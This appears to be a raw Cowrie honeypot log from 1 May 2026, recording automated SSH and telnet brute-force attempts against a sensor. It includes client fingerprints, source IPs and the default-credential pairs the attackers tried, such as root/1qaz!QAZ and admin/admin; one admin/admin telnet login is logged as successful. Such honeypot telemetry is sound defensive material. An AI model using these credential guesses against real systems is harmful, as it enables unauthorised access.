{"eventid":"cowrie.session.closed","duration":31.032397031784058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:44.145842Z","src_ip":"108.179.218.230","session":"062519d1d016","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:45.084338Z","src_ip":"122.168.114.167","session":"631989a53e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:45.089919Z","src_ip":"122.168.114.167","session":"631989a53e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.617514848709106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:54.151794Z","src_ip":"212.47.75.195","session":"ac95ea8f027e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:55.513348Z","src_ip":"122.168.114.167","session":"631989a53e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77039122581482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:55.586756Z","src_ip":"212.47.75.195","session":"764725547674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.186074256896973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:57.150337Z","src_ip":"212.47.75.195","session":"6f3a1b31c603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7418954372406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:57.306329Z","src_ip":"212.47.75.195","session":"3592a3b2ebd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.354245901107788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:58.097810Z","src_ip":"212.47.75.195","session":"ccc0d40b4846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:59.261322Z","src_ip":"122.168.114.167","session":"631989a53e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.32694673538208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:59.267532Z","src_ip":"212.47.75.195","session":"b808ed4b87f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94571089744568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:59.457069Z","src_ip":"212.47.75.195","session":"61213429a0c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096017837524414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:59.507507Z","src_ip":"212.47.75.195","session":"b43a9765ec81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.556933879852295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:59.648249Z","src_ip":"108.179.218.230","session":"ab55f3d5782c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50306510925293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:01.146178Z","src_ip":"212.47.75.195","session":"13d64ff70d9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98211407661438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:01.533732Z","src_ip":"212.47.75.195","session":"4cf397e393ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528352975845337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:03.118652Z","src_ip":"133.130.75.21","session":"79835bd14cd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902204513549805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:03.485304Z","src_ip":"212.47.75.195","session":"bd919c0075f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.11953687667847,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:05.652795Z","src_ip":"212.47.75.195","session":"4af88e1456fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2458815574646,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:06.071103Z","src_ip":"212.47.75.195","session":"91f957971fa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.426440954208374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:06.078724Z","src_ip":"212.47.75.195","session":"69f8efa7cb9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.711575508117676,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:07.729001Z","src_ip":"212.47.75.195","session":"1a3848bf0609","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35132,"dst_ip":"159.203.135.109","dst_port":22,"session":"3953c3aa9e93","protocol":"ssh","message":"New connection: 159.203.92.129:35132 (159.203.135.109:22) [session: 3953c3aa9e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:15.992849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:15.997316Z","src_ip":"159.203.92.129","session":"3953c3aa9e93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:16.018077Z","src_ip":"159.203.92.129","session":"3953c3aa9e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arion","password":"arion","message":"login attempt [arion/arion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:16.040717Z","src_ip":"159.203.92.129","session":"3953c3aa9e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:17.046605Z","src_ip":"159.203.92.129","session":"3953c3aa9e93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.204","src_port":36841,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6fc9c01e21","protocol":"telnet","message":"New connection: 195.178.110.204:36841 (10.17.0.5:23) [session: 9e6fc9c01e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:19.212799Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58440,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcea8edb564c","protocol":"ssh","message":"New connection: 122.168.114.167:58440 (159.203.135.109:22) [session: dcea8edb564c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:22.495147Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":60204,"dst_ip":"10.17.0.5","dst_port":22,"session":"01f29c12e08d","protocol":"ssh","message":"New connection: 186.80.18.158:60204 (10.17.0.5:22) [session: 01f29c12e08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:22.619834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:22.625166Z","src_ip":"186.80.18.158","session":"01f29c12e08d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:22.702504Z","src_ip":"186.80.18.158","session":"01f29c12e08d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e","message":"login attempt [ubuntu/q1w2e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:23.035421Z","src_ip":"186.80.18.158","session":"01f29c12e08d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:24.132570Z","src_ip":"186.80.18.158","session":"01f29c12e08d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:24.675040Z","src_ip":"122.168.114.167","session":"dcea8edb564c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:24.678609Z","src_ip":"122.168.114.167","session":"dcea8edb564c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:35.711648Z","src_ip":"122.168.114.167","session":"dcea8edb564c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:39.946910Z","src_ip":"122.168.114.167","session":"dcea8edb564c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22068,"dst_ip":"10.17.0.5","dst_port":22,"session":"631ae9129de3","protocol":"ssh","message":"New connection: 2.57.121.112:22068 (10.17.0.5:22) [session: 631ae9129de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:48.607577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:48.612339Z","src_ip":"2.57.121.112","session":"631ae9129de3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:48.713350Z","src_ip":"2.57.121.112","session":"631ae9129de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190576","message":"login attempt [admin/190576] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:49.193521Z","src_ip":"2.57.121.112","session":"631ae9129de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190482","message":"login attempt [admin/190482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:50.297809Z","src_ip":"2.57.121.112","session":"631ae9129de3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:50.339592Z","src_ip":"195.178.110.204","session":"9e6fc9c01e21","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:50.381499Z","src_ip":"195.178.110.204","session":"9e6fc9c01e21","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19031903","message":"login attempt [admin/19031903] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:51.400636Z","src_ip":"2.57.121.112","session":"631ae9129de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190189","message":"login attempt [admin/190189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:52.504902Z","src_ip":"2.57.121.112","session":"631ae9129de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18121971","message":"login attempt [admin/18121971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:53.609010Z","src_ip":"2.57.121.112","session":"631ae9129de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:54.713325Z","src_ip":"2.57.121.112","session":"631ae9129de3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54578,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b591f21fc01","protocol":"ssh","message":"New connection: 159.203.92.129:54578 (159.203.135.109:22) [session: 0b591f21fc01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:58.550193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:58.554611Z","src_ip":"159.203.92.129","session":"0b591f21fc01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:58.559110Z","src_ip":"159.203.92.129","session":"0b591f21fc01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arita","password":"arita","message":"login attempt [arita/arita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:58.568707Z","src_ip":"159.203.92.129","session":"0b591f21fc01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:05:59.574724Z","src_ip":"159.203.92.129","session":"0b591f21fc01","protocol":"ssh"}
